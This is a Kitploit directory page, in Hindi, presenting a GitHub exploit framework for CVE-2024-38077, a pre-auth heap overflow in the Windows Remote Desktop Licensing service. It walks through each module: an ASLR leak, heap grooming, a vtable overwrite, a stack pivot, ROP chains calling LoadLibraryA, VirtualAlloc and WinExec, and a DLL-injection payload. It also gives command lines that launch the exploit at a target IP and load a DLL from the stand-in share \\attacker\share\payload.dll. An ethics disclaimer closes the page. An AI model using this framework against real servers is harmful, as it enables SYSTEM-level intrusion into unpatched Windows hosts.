Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-38077-MadLicense-exploit — CVE-2024-38077 (Windows RDL heap overflow) के लिए modular exploit framework, जिसमें ASLR bypass, heap grooming, ROP chain generation, और DLL injection payloads शामिल हैं, pre-auth remote code execution के लिए। | Kitploit
उपकरण/GitHubGitHub/ermensonx/cve-2024-38077-madlicense-exploit
शोषण फ्रेमवर्कभेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगशेलकोडपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंटबाइनरी शोषण

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHubermensonx/cve-2024-38077-madlicense-exploit

CVE-2024-38077-MadLicense-exploit

CVE-2024-38077 (Windows RDL heap overflow) के लिए modular exploit framework, जिसमें ASLR bypass, heap grooming, ROP chain generation, और DLL injection payloads शामिल हैं, pre-auth remote code execution के लिए।

रिपॉजिटरी देखें
18 महीने पहलेअभी तक समीक्षित नहीं

CVE-2024-38077 MadLicense - पूर्ण शोषण ढाँचा

📚 प्रस्तुति हेतु तकनीकी दस्तावेज़

यह दस्तावेज़ ढाँचे के प्रत्येक घटक को समझाता है, वे क्यों मौजूद हैं, और आधुनिक विंडोज़ में हीप बफर ओवरफ़्लो का शोषण कैसे काम करता है।


🎯 CVE-2024-38077 क्या है?

कमज़ोरी

विंडोज़ रिमोट डेस्कटॉप लाइसेंसिंग सेवा (lserver.exe) में CDataCoding::DecodeData फ़ंक्शन में हीप बफर ओवरफ़्लो है।

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  भेद्यता: गलत आकार गणना                                    │
├─────────────────────────────────────────────────────────────┤
│  1. क्लाइंट आकार N का Base64 डेटा भेजता है                │
│  2. सर्वर गणना करता है: buffer_size = (N / 4) * 3          │
│  3. सर्वर 'buffer_size' बाइट्स का बफर आवंटित करता है      │
│  4. वास्तविक Base64 डिकोड लिखता है: ceil(N * 3/4) बाइट्स  │
│  5. यदि N, 4 का गुणज नहीं है: अतिप्रवाह!                  │
└─────────────────────────────────────────────────────────────┘

ठोस उदाहरण:

  • इनपुट: 4001 बाइट्स
  • सर्वर गणना: (4001 / 4) * 3 = 1000 * 3 = 3000 बाइट्स आवंटित
  • वास्तविक डिकोड: ceil(4001 * 0.75) = 3001 बाइट्स लिखे
  • अतिप्रवाह: 1 बाइट (लेकिन अधिक के लिए नियंत्रणीय)

यह गंभीर क्यों है?

  1. प्री-ऑथ: किसी क्रेडेंशियल की आवश्यकता नहीं
  2. रिमोट: नेटवर्क के माध्यम से, पोर्ट 135 (RPC)
  3. SYSTEM: सेवा NT AUTHORITY\SYSTEM के रूप में चलती है
  4. सामान्य: विंडोज़ सर्वर 2000-2025 प्रभावित

🏗️ ढाँचे की वास्तुकला

मॉड्यूल का सिंहावलोकन

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                      शोषण श्रृंखला                              │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│  LEAK    │  MODEL   │  WRITE   │  GROOM   │ TRIGGER  │ EXECUTE │
│ (ASLR)   │ (Target) │ (Where)  │ (Heap)   │ (Use)    │ (RCE)   │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py  │target_   │write_    │heap_     │trigger   │code_    │
│          │model.py  │primitive │controller│.py       │reuse.py │
│          │          │.py       │.py       │          │         │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
          ↓                                              ↓
    ┌───────────┐                              ┌──────────────┐
    │ execution │                              │   payload    │
    │   .py     │                              │     .py      │
    └───────────┘                              └──────────────┘
          ↓                                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                    mitigations.py                         │
    │              (DEP, ASLR, CFG जागरूकता)                   │
    └───────────────────────────────────────────────────────────┘
                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                      exploit.py                           │
    │                   (ऑर्केस्ट्रेटर)                          │
    └───────────────────────────────────────────────────────────┘

📦 मॉड्यूल 1: primitives.py - आधार

यह क्या है?

मेमोरी हेरफेर के लिए निम्न-स्तरीय उपयोगिताएँ।

यह क्यों मौजूद है?

शोषण को चाहिए:

  • प्रकारों के बीच रूपांतरण (int ↔ bytes)
  • क्रैश विश्लेषण के लिए पैटर्न उत्पन्न करना
  • डेटा को सही ढंग से संरेखित करना

मुख्य फ़ंक्शन

root@kitploit:~
# Pack/Unpack - पूर्णांकों को बाइट्स में और इसके विपरीत रूपांतरित करें
p64(0xDEADBEEF)      # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141)      # → b'AAAA'
u64(b'\x41\x42...')  # → 0x... (int)

# चक्रीय पैटर्न - क्रैश ऑफ़सेट की पहचान करने के लिए
cyclic(100)          # De Bruijn अनुक्रम उत्पन्न करता है
cyclic_find(pattern, value)  # मान का ऑफ़सेट ढूँढता है

# संरेखण - मेमोरी को संरेखित होना चाहिए
align(0x1003, 0x10)  # → 0x1010 (16 बाइट्स में संरेखित)

इससे क्या फर्क पड़ता है?

वास्तविक समस्या: आप क्रैश का कारण बनते हैं और RIP में 0x61616171 होता है।

  • बिना cyclic के: "मेरे बफर में कहीं..."
  • cyclic के साथ: cyclic_find(pattern, 0x61616171) → सटीक ऑफ़सेट!

📦 मॉड्यूल 2: leak.py - ASLR को बायपास करना

ASLR क्या है?

एड्रेस स्पेस लेआउट रैंडमाइज़ेशन: प्रत्येक बूट/निष्पादन पर पते बदल जाते हैं।

root@kitploit:~
बूट 1:  ntdll.dll @ 0x7FFA12340000
बूट 2:  ntdll.dll @ 0x7FFB98760000
बूट 3:  ntdll.dll @ 0x7FFC55550000

हमें लीक की आवश्यकता क्यों है?

मेमोरी कहाँ है यह जाने बिना:

  • हम नहीं जानते कि पेलोड कहाँ रखें
  • हम ROP गैजेट्स का पता नहीं जानते
  • कोई भी प्रयास = यादृच्छिक क्रैश

मॉड्यूल संरचना

root@kitploit:~
class LeakInfo:
    """लीक किए गए पतों के लिए कंटेनर"""
    heap_base: int         # हीप का आधार
    ntdll_base: int        # ntdll.dll का आधार
    kernel32_base: int     # kernel32.dll का आधार
    # ...

class LeakProvider:
    """लीक स्रोतों का ऑर्केस्ट्रेटर"""
    sources: List[LeakSource]
    
    def obtain() -> LeakInfo:
        # प्रत्येक स्रोत को तब तक आज़माएँ जब तक सफल न हो जाए

कार्यान्वित लीक स्रोत

स्रोतयह कैसे काम करता हैकब उपयोग करें

मैन्युअल इनपुट क्यों?

प्रदर्शनों/लैब में, आप कर सकते हैं:

  1. लक्ष्य पर डीबगर संलग्न करें
  2. मॉड्यूल का आधार देखें
  3. --ntdll-base 0x7ffa... के माध्यम से प्रदान करें

यह वास्तविक लीक होने का अनुकरण करता है, जिससे आप शेष श्रृंखला का परीक्षण कर सकते हैं।


📦 मॉड्यूल 3: target_model.py - लक्ष्य मानचित्रण

यह क्या है?

भेद्य और आसन्न डेटा संरचनाओं की मॉडलिंग।

यह क्यों मौजूद है?

अतिप्रवाह ≠ शोषण। हमें जानना होगा:

  • हम क्या अधिलेखित कर रहे हैं?
  • वस्तु का आकार क्या है?
  • कौन सा क्षेत्र भ्रष्ट करने के लिए उपयोगी है?

घटक

root@kitploit:~
class VulnerableBuffer:
    """वह बफर जो अतिप्रवाह का शिकार होगा"""
    allocation_size: int   # कितना आवंटित किया गया
    write_size: int        # कितना लिखा जाएगा
    overflow_amount: int   # अंतर = अतिप्रवाह
    
    def calculate_overflow(input_size):
        # गणना बग का अनुकरण
        alloc = (input_size // 4) * 3
        actual = ((input_size + 3) // 4) * 3
        return alloc, actual, actual - alloc

class AdjacentObject:
    """वह वस्तु जो भ्रष्ट होगी (हीप में आसन्न)"""
    fields: List[StructField]
    has_vtable: bool       # क्या इसमें वर्चुअल तालिका है?
    has_function_ptr: bool # क्या इसमें फ़ंक्शन पॉइंटर है?

लक्ष्य संरचना का उदाहरण

root@kitploit:~
# रिवर्स इंजीनियरिंग पर आधारित काल्पनिक वस्तु
license_req = AdjacentObject(
    name="CLicenseRequest",
    typical_size=0x100,
    has_vtable=True
)

# मैप किए गए क्षेत्र
license_req.add_field("vtable",   0x00, 8, VTABLE,   is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)

is_target=True क्यों?

शोषण के लिए उपयोगी क्षेत्रों को चिह्नित करता है:

  • vtable: यदि हम अधिलेखित करते हैं, तो हम विधि कॉल को नियंत्रित करते हैं
  • callback: यदि हम अधिलेखित करते हैं, तो हम नियंत्रित करते हैं कि कॉलबैक कब कॉल किया जाता है

📦 मॉड्यूल 4: write_primitive.py - नियंत्रित लेखन

समस्या

अतिप्रवाह अनुक्रमिक डेटा लिखता है। लेकिन हमें चाहिए:

  • विशिष्ट मान लिखना (हमारे ROP का पता)
  • विशिष्ट ऑफ़सेट पर (जहाँ vtable पॉइंटर है)

समाधान

root@kitploit:~
class WritePrimitive:
    def build_overflow_data(self) -> bytes:
        """
        सटीक मानों के साथ अतिप्रवाह बफर बनाता है
        
        लेआउट:
        [ऑफ़सेट तक PADDING] [नियंत्रित मान] [अधिक डेटा]
        """
        data = bytearray(b"A" * max_offset)
        
        for target in self.targets:
            # सटीक ऑफ़सेट पर सटीक मान रखें
            data[target.offset:target.offset+8] = p64(target.value)
        
        return bytes(data)

ओवरराइट के प्रकार

root@kitploit:~
# vtable ओवरराइट
write_primitive.set_vtable_overwrite(
    vtable_addr=fake_vtable_address,
    obj_name="CLicenseRequest"
)

# कॉलबैक ओवरराइट
write_primitive.set_callback_overwrite(
    callback_addr=gadget_address
)

केवल कचरा लिखना पर्याप्त क्यों नहीं है?

लेखनपरिणाम
AAAA...बिना नियंत्रण के क्रैश
सटीक ऑफ़सेट पर सटीक पतानियंत्रित निष्पादन

📦 मॉड्यूल 5: heap_controller.py - हीप ग्रूमिंग

आधुनिक हीप की चुनौती

विंडोज़ LFH (लो फ़्रैग्मेंटेशन हीप) और सेगमेंट हीप का उपयोग करता है:

  • आवंटन यादृच्छिक होते हैं
  • लेआउट पूर्वानुमानित नहीं है
  • हीप गार्ड भ्रष्टाचार का पता लगाते हैं

समाधान: ग्रूमिंग

ग्रूमिंग = नियतात्मक लेआउट के लिए हीप को मसाज करना।

root@kitploit:~
ग्रूमिंग से पहले:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
यादृच्छिक आवंटन, अप्रत्याशित छेद

ग्रूमिंग के बाद:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
नियंत्रित लेआउट, वांछित स्थानों पर "छेद"

ग्रूमिंग के चरण

root@kitploit:~
class HeapLayoutController:
    def execute_full_groom(self):
        # चरण 1: मौजूदा छेद भरें
        self.phase_fill(50)
        
        # चरण 2: लक्ष्य बकेट के लिए LFH सक्रिय करें
        # (विंडोज़ समान आकार के ~17 आवंटन के बाद LFH सक्रिय करता है)
        self.phase_activate_lfh()
        
        # चरण 3: स्प्रे - सघन पैटर्न बनाएँ
        sprayed = self.phase_spray(200)
        
        # चरण 4: रणनीतिक छेद बनाएँ
        # हर N आवंटन पर मुक्त करें
        self.phase_create_holes(sprayed, interval=4)
        
        # चरण 5: स्थिर करें
        self.phase_stabilize()

यह क्यों काम करता है?

  1. हम हीप को अपनी अपनी वस्तुओं से भरते हैं
  2. हम नियमित अंतराल पर "छेद" बनाते हैं
  3. जब सर्वर भेद्य बफर आवंटित करता है...
  4. ...उच्च संभावना कि वह एक छेद में गिरे
  5. ...हमारी एक वस्तु के आसन्न जिसे हम भ्रष्ट कर सकते हैं

📦 मॉड्यूल 6: trigger.py - भ्रष्टाचार के बाद ट्रिगर

समस्या

भ्रष्टाचार हुआ। अब क्या?

root@kitploit:~
वर्तमान स्थिति:
- मेमोरी भ्रष्ट ✓
- दुर्भावनापूर्ण मान लिखा ✓
- लेकिन किसी ने अभी तक उस मान का उपयोग नहीं किया!

समाधान: उपयोग को बल दें

हमें चाहिए कि प्रोग्राम भ्रष्ट डेटा को पढ़े और उपयोग करे।

root@kitploit:~
class PostCorruptionTrigger:
    strategies: List[TriggerStrategy]
    
# कार्यान्वित रणनीतियाँ:

class SecondRequestTrigger:
    """दूसरी RPC कॉल करता है जो भ्रष्ट वस्तु का उपयोग करती है"""
    
class DestructorTrigger:
    """डिस्कनेक्ट करता है - सफाई को बल देता है जो भ्रष्ट पॉइंटर्स का उपयोग करती है"""
    
class TimerTrigger:
    """आंतरिक टाइमर की प्रतीक्षा करता है जो भ्रष्ट स्थिति को संसाधित करता है"""

विशिष्ट प्रवाह

root@kitploit:~
1. पहली RPC कॉल → भ्रष्टाचार होता है
2. डिस्कनेक्ट (ट्रिगर) → सर्वर डिस्ट्रक्टर कॉल करता है
3. डिस्ट्रक्टर भ्रष्ट vtable पढ़ता है → हमारा पता कॉल करता है
4. नियंत्रित निष्पादन!

📦 मॉड्यूल 7: execution.py - प्रवाह नियंत्रण

लक्ष्य: RIP/EIP हाइजैकिंग

RIP (x64) या EIP (x86) = इंस्ट्रक्शन पॉइंटर

यदि हम इंस्ट्रक्शन पॉइंटर को नियंत्रित करते हैं, तो हम निष्पादन को नियंत्रित करते हैं।

हाइजैकिंग के तरीके

root@kitploit:~
class HijackMethod(Enum):
    VTABLE = 0       # हीप ओवरफ़्लो में सबसे आम
    FUNCTION_PTR = 1 # कॉलबैक पॉइंटर
    RETURN_ADDR = 2  # स्टैक ओवरफ़्लो (हमारा मामला नहीं)

Vtable हाइजैकिंग समझाया गया

root@kitploit:~
सामान्य वस्तु:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ method1 address  │ ← वैध
│             │     │ method2 address  │
└─────────────┘     └──────────────────┘

भ्रष्टाचार के बाद:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ GADGET ADDR      │ ← हमारा!
│             │     │ GADGET ADDR      │
└─────────────┘     └──────────────────┘

जब method1 कॉल होता है → हमारा गैजेट निष्पादित होता है!

स्टैक पिवट

समस्या: vtable हाइजैक हमें एक कॉल देता है। हमें और चाहिए।

समाधान: स्टैक पिवट

root@kitploit:~
# गैजेट जो RSP को उस स्थान पर बदलता है जहाँ हमारी ROP श्रृंखला है
xchg rax, rsp; ret  # RAX = हमारा पता → RSP = हमारा पता

# अब "स्टैक" हमारा नियंत्रित क्षेत्र है!
# प्रत्येक RET हमारी ROP श्रृंखला के अगले गैजेट पर कूदता है

📦 मॉड्यूल 8: code_reuse.py - ROP श्रृंखलाएँ

ROP क्यों?

DEP (डेटा एक्सीक्यूशन प्रिवेंशन): हीप और स्टैक गैर-निष्पादनीय हैं।

root@kitploit:~
हीप पर शेलकोड → क्रैश (एक्सेस वायलेशन - एक्ज़ीक्यूट)

समाधान: मौजूदा कोड का पुन: उपयोग

ROP = रिटर्न-ओरिएंटेड प्रोग्रामिंग

हम "गैजेट्स" को जोड़ते हैं - कोड के छोटे टुकड़े जो RET में समाप्त होते हैं।

root@kitploit:~
गैजेट 1: pop rcx; ret    ← RCX में मान डालता है
गैजेट 2: pop rdx; ret    ← RDX में मान डालता है
गैजेट 3: call LoadLibraryA ← फ़ंक्शन कॉल करता है!

गैजेट कैसे जुड़ते हैं

root@kitploit:~
स्टैक/ROP श्रृंखला (हमारा नियंत्रित क्षेत्र):
┌────────────────────┐
│ pop_rcx का पता    │ ← RSP यहाँ इशारा करता है
├────────────────────┤
│ RCX के लिए मान    │ ← RCX में "पॉप" किया जाएगा
├────────────────────┤
│ pop_rdx का पता    │ ← RET यहाँ जाता है
├────────────────────┤
│ RDX के लिए मान    │
├────────────────────┤
│ LoadLibraryA का पता│ ← अंत में कॉल करता है!
└────────────────────┘

कार्यान्वित श्रृंखलाएँ

root@kitploit:~
# DLL लोड करें (DLL इंजेक्शन)
build_load_library(dll_path_addr) → ROP श्रृंखला

# निष्पादनीय मेमोरी आवंटित करें
build_virtual_alloc(size) → ROP श्रृंखला + RAX = RWX पता

# कमांड निष्पादित करें
build_winexec(cmd_addr) → ROP श्रृंखला

📦 मॉड्यूल 9: payload.py - शब्दार्थ पेलोड

अंतर: डेटा बनाम इरादा

प्रकारउदाहरणपरिणाम
डेटाAAAAAA...क्रैश
इरादाROP + DLL पथDLL लोड हुआ

पेलोड के प्रकार

root@kitploit:~
class PayloadIntent(Enum):
    CRASH_TEST = 0    # जाँच करें कि शोषण काम करता है या नहीं
    DLL_INJECT = 1    # हमारी DLL लोड करें
    COMMAND_EXEC = 2  # कमांड निष्पादित करें
    SHELLCODE = 3     # ROP के माध्यम से शेलकोड निष्पादित करें

DLL इंजेक्शन के लिए पेलोड निर्माण

root@kitploit:~
def build_dll_inject(dll_path: str) -> bytes:
    """
    अंतिम संरचना:
    
    ┌──────────────────────────────┐
    │ ROP श्रृंखला (LoadLibraryA) │ ← पहले निष्पादित करें
    ├──────────────────────────────┤
    │ पैडिंग                      │
    ├──────────────────────────────┤
    │ "\\attacker\share\pay.dll\0"│ │ पथ की स्ट्रिंग
    └──────────────────────────────┘
    
    ROP श्रृंखला LoadLibraryA में स्ट्रिंग का पता पास करती है
    """

📦 मॉड्यूल 10: mitigations.py - शमन जागरूकता

आधुनिक विंडोज़ शमन

स्वचालित अनुकूलन

root@kitploit:~
def adapt_exploit(config):
    if mitigations.DEP.enabled:
        config["use_rop"] = True      # अनिवार्य
        
    if mitigations.ASLR.enabled:
        config["require_leak"] = True # अनिवार्य
        
    if mitigations.HEAP_HARDENING.enabled:
        config["spray_count"] *= 2    # अधिक स्प्रे

🔄 शोषण का पूरा प्रवाह

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                    शोषण प्रवाह                                 │
└─────────────────────────────────────────────────────────────────┘

   चरण 1: LEAK (ASLR बायपास)
   ├─ मेमोरी पते प्राप्त करें
   ├─ इनपुट: मैन्युअल या ऑटो-लीक
   └─ आउटपुट: मॉड्यूल बेस के साथ LeakInfo

             ↓

   चरण 2: ANALYZE (लक्ष्य मानचित्रण)
   ├─ अतिप्रवाह राशि की गणना करें
   ├─ आसन्न वस्तुओं की पहचान करें
   └─ भ्रष्टाचार ऑफ़सेट निर्धारित करें

             ↓

   चरण 3: GROOM (हीप शेपिंग)
   ├─ भरें → LFH सक्रिय करें → स्प्रे → छेद
   ├─ नियतात्मक लेआउट बनाएँ
   └─ भेद्य आवंटन के लिए "लैंडिंग ज़ोन" तैयार करें

             ↓

   चरण 4: PAYLOAD (निर्माण)
   ├─ ROP श्रृंखला बनाएँ
   ├─ आवश्यक स्ट्रिंग्स/डेटा शामिल करें
   └─ अतिप्रवाह डेटा के साथ संयोजित करें

             ↓

   चरण 5: CORRUPT (अतिप्रवाह ट्रिगर)
   ├─ दुर्भावनापूर्ण RPC कॉल भेजें
   ├─ अतिप्रवाह का कारण बनें
   └─ लक्ष्य (vtable/callback) अधिलेखित करें

             ↓

   चरण 6: TRIGGER (उपयोग को बल दें)
   ├─ डिस्कनेक्ट या दूसरी कॉल
   ├─ भ्रष्ट पॉइंटर के उपयोग को बल दें
   └─ निष्पादन हाइजैक

             ↓

   चरण 7: EXECUTE (RCE)
   ├─ ROP श्रृंखला निष्पादित होती है
   ├─ LoadLibraryA DLL लोड करता है
   └─ मनमाना कोड निष्पादित हो रहा है!

             ↓

   ┌─────────────────────────────────────────────────────────────┐
   │  परिणाम: SYSTEM के रूप में रिवर्स शेल, बैकडोर, आदि      │
   └─────────────────────────────────────────────────────────────┘

🚀 व्यावहारिक उपयोग

स्थापना

root@kitploit:~
pip install impacket

कमांड्स

root@kitploit:~
# केवल जाँचें कि सेवा चल रही है या नहीं
python -m madlicense.poc -t 10.0.0.5 --check

# ड्राई रन (पेलोड नहीं भेजता, सब कुछ अनुकरण करता है)
python -m madlicense.poc -t 10.0.0.5 --dry-run \
    --ntdll-base 0x7ffa12340000

# पूर्ण DLL इंजेक्शन
python -m madlicense.poc -t 10.0.0.5 \
    --dll "\\\\attacker\\share\\payload.dll" \
    --heap-base 0x22345670000 \
    --ntdll-base 0x7ffa12340000 \
    --kernel32-base 0x7ffa12500000

# calc.exe निष्पादित करें (क्लासिक PoC)
python -m madlicense.poc -t 10.0.0.5 \
    --cmd calc.exe \
    --ntdll-base 0x7ffa12340000

⚠️ नैतिक विचार

यह ढाँचा इसके लिए है:

  • ✅ अधिकृत सुरक्षा अनुसंधान
  • ✅ शैक्षिक प्रदर्शन
  • ✅ नियंत्रित वातावरण में परीक्षण
  • ✅ शमन विकास

नहीं के लिए:

  • ❌ अनधिकृत पहुँच
  • ❌ उत्पादन प्रणालियों पर हमले
  • ❌ कोई भी अवैध गतिविधि

📚 संदर्भ

  1. CVE-2024-38077 - Microsoft सुरक्षा सलाहकार
  2. Windows Internals - Mark Russinovich
  3. A Guide to Kernel Exploitation - Enrico Perla
  4. Modern Windows Exploit Development - Corelan Team

🎯 वार्ता के लिए सारांश

मुख्य वाक्य:

"आधुनिक विंडोज़ में हीप बफर ओवरफ़्लो का शोषण करना केवल 'बहुत अधिक लिखना' नहीं है। यह एक सटीक श्रृंखला है: लीक → ग्रूम → भ्रष्ट → ट्रिगर → निष्पादित।"

9 मॉड्यूल:

  1. primitives - मेमोरी उपकरण
  2. leak - ASLR बायपास
  3. target_model - लक्ष्य को जानना
  4. write_primitive - नियंत्रित लेखन
  5. heap_controller - हीप ग्रूमिंग
  6. trigger - भ्रष्टाचार के उपयोग को बल देना
  7. execution - RIP हाइजैक
  8. code_reuse - ROP श्रृंखलाएँ
  9. mitigations - रक्षा जागरूकता

इनमें से किसी के बिना, कोई RCE नहीं है।

टूल डाउनलोड करें
ManualLeakSource
उपयोगकर्ता पते प्रदान करता है
लैब/डिबग लक्ष्य तक पहुँच के साथ
ResponseLeakSourceRPC प्रतिक्रियाओं से निकालता हैयदि सेवा पॉइंटर्स लीक करती है
TimingLeakSourceसमय-पक्ष चैनलसैद्धांतिक, बहुत कठिन
शमनयह क्या करता हैहमारा बायपास
DEPहीप/स्टैक गैर-निष्पादनीयROP (कोड पुन: उपयोग)
ASLRपते यादृच्छिकजानकारी लीक
CFGकॉल लक्ष्यों को मान्य करता हैवैध लक्ष्यों को कॉल करें, फिर पिवट
स्टैक कुकीस्टैक ओवरफ़्लो का पता लगाता हैहम स्टैक ओवरफ़्लो का उपयोग नहीं करते
हीप हार्डनिंगगार्ड पेज, आदिसावधानीपूर्वक ग्रूमिंग